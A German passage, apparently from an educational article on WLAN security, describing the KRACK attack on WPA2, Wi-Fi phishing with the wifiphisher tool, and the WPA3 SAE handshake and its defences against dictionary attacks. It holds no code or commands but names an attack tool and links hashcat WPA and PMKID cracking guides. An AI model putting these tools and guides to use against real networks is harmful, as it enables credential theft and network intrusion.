Die Key Reinstallation Attack (kurz KRACK) wurde im Oktober 2017 entdeckt und offenbarte einen Fehler im WPA2-Standard. Dieser ermöglicht einen Man-in-the-Middle-Attack. Da Windows und iOS den Standard nicht korrekt implementiert hatten, waren sie kaum von KRACK betroffen. Mittlerweile wurden auch fast alle anderen Systeme gepachtet Die einzige Ausnahme stellen hierbei alte Android Versionen da (< 6.0), das für ältere Handys generell keine Updates angeboten werden. Einen guten Überblick, wie KRACK funktioniert (hat), bekommt man hier: https://media.ccc.de/v/34c3-9273-kracking_wpa2_by_forcing_nonce_reuse oder im entsprechenden Paper: https://papers.mathyvanhoef.com/ccs2017.pdf .
Phishing
Ein aktiver Angriff, der z. B. über das Tool wifiphisher (https://github.com/wifiphisher/wifiphisher) durchgeführt werden kann. Dabei tarnt sich der Angreifer als AP und greift die eingegebenen Passwortdaten vom Nutzer ab.
WPA3
WPA3 ( WPA3 Dragonfly Handshake) ist der Nachfolger von WPA2. Der Standard wurde Anfang 2018 angekündigt und soll 2019 in den ersten Geräten vorhanden sein. Dabei wurden einige Verbesserungen gegenüber WPA2 entwickelt, die auch Brute-Force-Attacken wie den Offline-Wörterbuchangriff verhindern sollen. Dabei wird der WPA2-4-Wege-Handshake beibehalten, zusätzlich aber ein SAE-Handshake vorgeschoben. Der SAE-Handshake etabliert dabei einen neuen PMK. Bei WPA2 ist der PMK für den 4-Wege-Handshake der zuvor geteilte statische Schlüssel (WLAN-Passwort).
Schritte des SAE-Handshakes
Im Folgenden sind die einzelnen Schritte des SAE-Handshakes beschrieben. Es wird dabei ein Variation des Diffie-Hellman-Handshakes ausgeführt, der Authentifizierung erlaubt.
- Beide Seiten leiten aus dem Preshared Key ein Password Element (PWE) ab.
- Jede Seite wählt 2 Zufallszahlen ( rand und mask) und berechnet daraus ein Element elem und eine Skalenwert skal. Rand und mask bilden den private Schlüssel, elem und skal den öffentlichen Schlüssel
- Sende elem und skal jeweils an die andere Seite.
- Berechne ein geheimes Element K aus eigenem rand, sowie ausskal und elem des anderen.
- Berechne aus K einen Intermediate Shared Key k mittels einer bijektiven Funktion F.
- Berechne eine Authentication Confirmation Token aus k, eigenem skal und elem sowie dem skal und elem der anderen Seite. Sende das Token an den Kommunikationspartner.
Durch das Token versichern sich die Kommunikationspartner gegenüber einander, dass sie das richtige PWE kennen und das richtige k berechnet haben.
- Berechne den Shared Key s aus k, eigenem skal und elem sowie dem skal und elem der anderen Seite.
Dieses Geheimnis kann dann im 4-Wege-Handshake anstelle des PMK verwendet werden.
Relevante Verbesserungen in WPA3
Eine wichtige Verbesserung von WPA3 gegenüber WPA2 ist die Tatsache, dass die zuvor gezeigten Angriffe nicht mehr möglich sein sollten.
- Abwehr gegenüber passiven Attacken:
Der Angreifer ist nur in der Lage, die Werte elem und skal mit zuschneiden. Die Werte rand und mask bleiben unbekannt.
Der Angreifer kann zwar versuchen, Passwörter zu erraten, um K zu berechnen, woraus sich k und letztendlich das Geheimnis s ableiten lässt. Da ihm aber die rand-Werte beider Kommunikationspartner unbekannt sind, kommt dies dem Raten einer Zufallszahl (mit entsprechender Länge) gleich. - Abwehr gegen Wörterbuchangriffe:
Um festzustellen, ob ein Angriff erfolgreich war, benötigt der Angreifer Feedback durch das angegriffene System.
Bei WPA2 hat der Angreifer anhand einer MIC oder der PMKID die Möglichkeit, seine Vermutung zu überprüfen.
Da offline Angriffe wie zuvor erwähnt nicht sinnvoll sind, kann der Angreifer lediglich versuchen, sich beim AP mit einem zufälligen geratenen Passwort zu authentifizieren, also einen aktiven Angriff durchzuführen. Da nun jedes mal die Antwort des AP abgewartet werden muss, ist Rechenleistung in diesem Fall nicht von signifikantem Vorteil. - Schutz bei schwachen Passwörtern:
Auch wenn der SAE-Handshake resistent gegenüber Wörterbuchangriffen ist, ist die Passwortlänge weiterhin ein Parameter der die Sicherheit beeinflusst. Unabhängig von der Passwortlänge kann der Angreifer das Passwort nur durch wiederholte aktive Angriffe erlangen.
Einzelnachweise
- [Heise, Angriff auf WPA | https://www.heise.de/security/artikel/Angriffe-auf-WPA-270596.html]
- [Security Insider, So knacken Sie WLAN-Verschlüsselungen | https://www.security-insider.de/so-knacken-sie-wlan-verschluesselungen-a-594587/]
- [Netspotapp, WiFi Encryption and Security | https://www.netspotapp.com/de/wifi-encryption-and-security.html]
- [Krackattacks, Key Reinstallation Attacks | https://www.krackattacks.com/]
- [New Attack on WPA/WPA2 | https://hashcat.net/forum/thread-7717.html]
- [Hashcat, Cracking WPA/WPA2 with hashcat | https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2]
- [freeroute, "WPA/WPA2 PMKID attack step-by-step (hashcat mode 16800)" | https://forum.hashkiller.co.uk/topic-view.aspx?t=25310&m=183251]
- [ceilers-news, WLAN-Sicherheit 9 - Die Schlüssel von WPA2, Teil 1 | https://www.ceilers-news.de/serendipity/908-WLAN-Sicherheit-9-Die-Schluessel-von-WPA2,-Teil-1.html]
- [ceilers-news, WLAN-Sicherheit 8 - Der aktuelle Standard-Verschlüsselungsalgorithmus: WPA2 | https://www.ceilers-news.de/serendipity/906-WLAN-Sicherheit-8-Der-aktuelle-Standard-Verschluesselungsalgorithmus-WPA2.html]
- [Elektronik Kompendium, WPA - WiFi Protected Access | https://www.elektronik-kompendium.de/sites/net/2009011.htm]
- [Elektronik Kompendium, IEEE 802.1x / RADIUS | https://www.elektronik-kompendium.de/sites/net/1409281.htm]
- [Elektronik Kompendium, WPA2 - WiFi Protected Access 2 / IEEE 802.11i | https://www.elektronik-kompendium.de/sites/net/0907111.htm]
- [Searchnetworking, Wi-Fi-Verschlüsselung: Grundlegendes zu WEP, WPA und WPA2 | https://www.searchnetworking.de/sonderbeitrag/Wi-Fi-Verschluesselung-Grundlegendes-zu-WEP-WPA-und-WPA2]
- [Brett Hill, Wireless Authentication and Key Generation | https://www.youtube.com/watch?v=ntGA6V5EciE]
- [Guillaume Lehembre, "Wi-Fi security - WEP, WPA and WPA2" | http://tele1.dee.fct.unl.pt/rit2_2015_2016/files/hakin9_wifi_EN.pdf]
- [Mathy Vanhoef, WPA3: Technical Details and Discussion | http://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html]
- [D. Harkins, "Simultaneous Authentication of Equals: A Secure, Password-Based Key Exchange for Mesh Networks" | https://www.doi.ieeecomputersociety.org/10.1109/SENSORCOMM.2008.131]
- [The Linux Documentation Project, 802.1X Port-Based Authentication HOWTO | https://www.tldp.org/HOWTO/8021X-HOWTO/intro.html]
- [RFC 2898 - Password-Based Cryptography Version 2.0 | https://www.ietf.org/rfc/rfc2898.txt]
- [CCC, Datengarten 58 - Circumvent WPA2 | https://media.ccc.de/v/58#t=806]